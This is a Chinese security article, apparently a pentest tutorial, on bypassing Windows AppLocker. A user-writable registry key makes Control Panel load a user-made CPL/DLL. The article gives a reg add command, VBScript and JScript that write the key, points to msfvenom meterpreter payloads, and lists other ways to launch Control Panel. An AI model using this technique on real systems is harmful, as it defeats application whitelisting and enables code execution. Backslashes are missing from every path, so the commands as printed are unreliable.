绕过AppLocker系列之控制面板的利用 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

绕过AppLocker系列之控制面板的利用

丝绸之路 系统安全 2017-07-13 09:29:28
160905
收藏

导语:使用默认规则实现AppLocker不能提供任何充分的保护,因为通过使用合法的Windows二进制文件和利用常见的系统错误配置就会产生多个绕过方法。

使用默认规则实现AppLocker不能提供任何充分的保护,因为通过使用合法的Windows二进制文件和利用常见的系统错误配置就会产生多个绕过方法。在Windows系统中,当用户打开控制面板时,会加载多个CPL文件。这些CPL文件的列表是从注册表中获得的。

Francesco Mifsud  发现,当启动控制面板时,将检查以下两个注册表位置,然后加载CPL。

HKLMSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs
HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs

问题就出在第二个注册表的位置,普通用户具有写入权限,所以可以在注册表中写入一个注册表键,该注册表将在控制面板启动时加载和执行恶意代码。唯一的条件是用户的系统允许打开控制面板和注册表。注册表二进制文件位于Windows文件夹内,默认情况下,AppLocker允许执行此文件夹内的所有内容。在大多数环境中也是允许控制面板运行的。

1498137864638072.png

绕过AppLocker ——阻止 CMD 运行

第一步是创建一个DLL并将其重命名为.Cpl,以便它可以与控制面板一起执行。Metasploit 的Msfvenom可以创建一个自定义的DLL,其中可以包含一个嵌入的meterpreter有效负载或者Didier Stevens的 cmd DLL文件,可以用来绕过禁止cmd运行的限制。

以下命令将创建一个注册表键,这个注册表键的值将包含存储在主机上的CPL文件的路径。默认情况下,标准用户对自己的配置单元是具有写入权限的。

reg add "HKCUSOFTWAREMicrosoftWindowsCurrentVersionControl PanelCpls"
/v pentestlab.cpl /t REG_SZ /d "C:pentestlab.cpl"

1498137871902334.png

绕过AppLocker —— 将注册表键添加到注册表

如果cmd被禁用,可以使用注册表编辑器添加注册表项:

1498137878748705.png

注册表编辑器 - 添加CPL注册表键

Francesco Mifsud还发布了两个脚本,可以在cmd和注册表编辑器被阻止时将注册表键添加到注册表中。

VBScript:

const HKEY_CURRENT_USER = &H80000001
 
strComputer = "."
 
Set objReg=GetObject(
"winmgmts:{impersonationLevel=impersonate}!" & strComputer & "rootdefault:StdRegProv")
 
strKeyPath = "SoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs"
objReg.CreateKey HKEY_CURRENT_USER,strKeyPath
 
strValueName = "pentestlabCPL"
strValue = "C:pentestlabCPL.cpl"
objReg.SetStringValue
HKEY_CURRENT_USER,strKeyPath,strValueName,strValue

Jscript:

var obj = WScript.CreateObject("WScript.Shell");
obj.RegWrite("HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs", "Top level key");
obj.RegWrite("HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLspentestlabCPL", "C:pentestlabCPL.cpl","REG_SZ");

从启动控制面板的那一刻开始,代码将被执行,cmd将被打开。

1498137905218007.png

AppLocker Bypass - 通过控制面板命令提示符

在控制面板被阻止打开的情况下,可以使用以下位置作为启动控制面板的替代方法。

· C:windowssystem32control.exe
· AppDataRoamingMicrosoftWindowsStart MenuProgramsAccessoriesSystem ToolsControl Panel.lnk
· shell:::{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}
· shell:::{26EE0668-A00A-44D7-9371-BEB064C98683}
· shell:::{ED7BA470-8E54-465E-825C-99712043E01C}
· My Control Panel.{ED7BA470-8E54-465E-825C-99712043E01C}

资源

https://www.contextis.com/resources/blog/applocker-bypass-registry-key-manipulation/

1
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务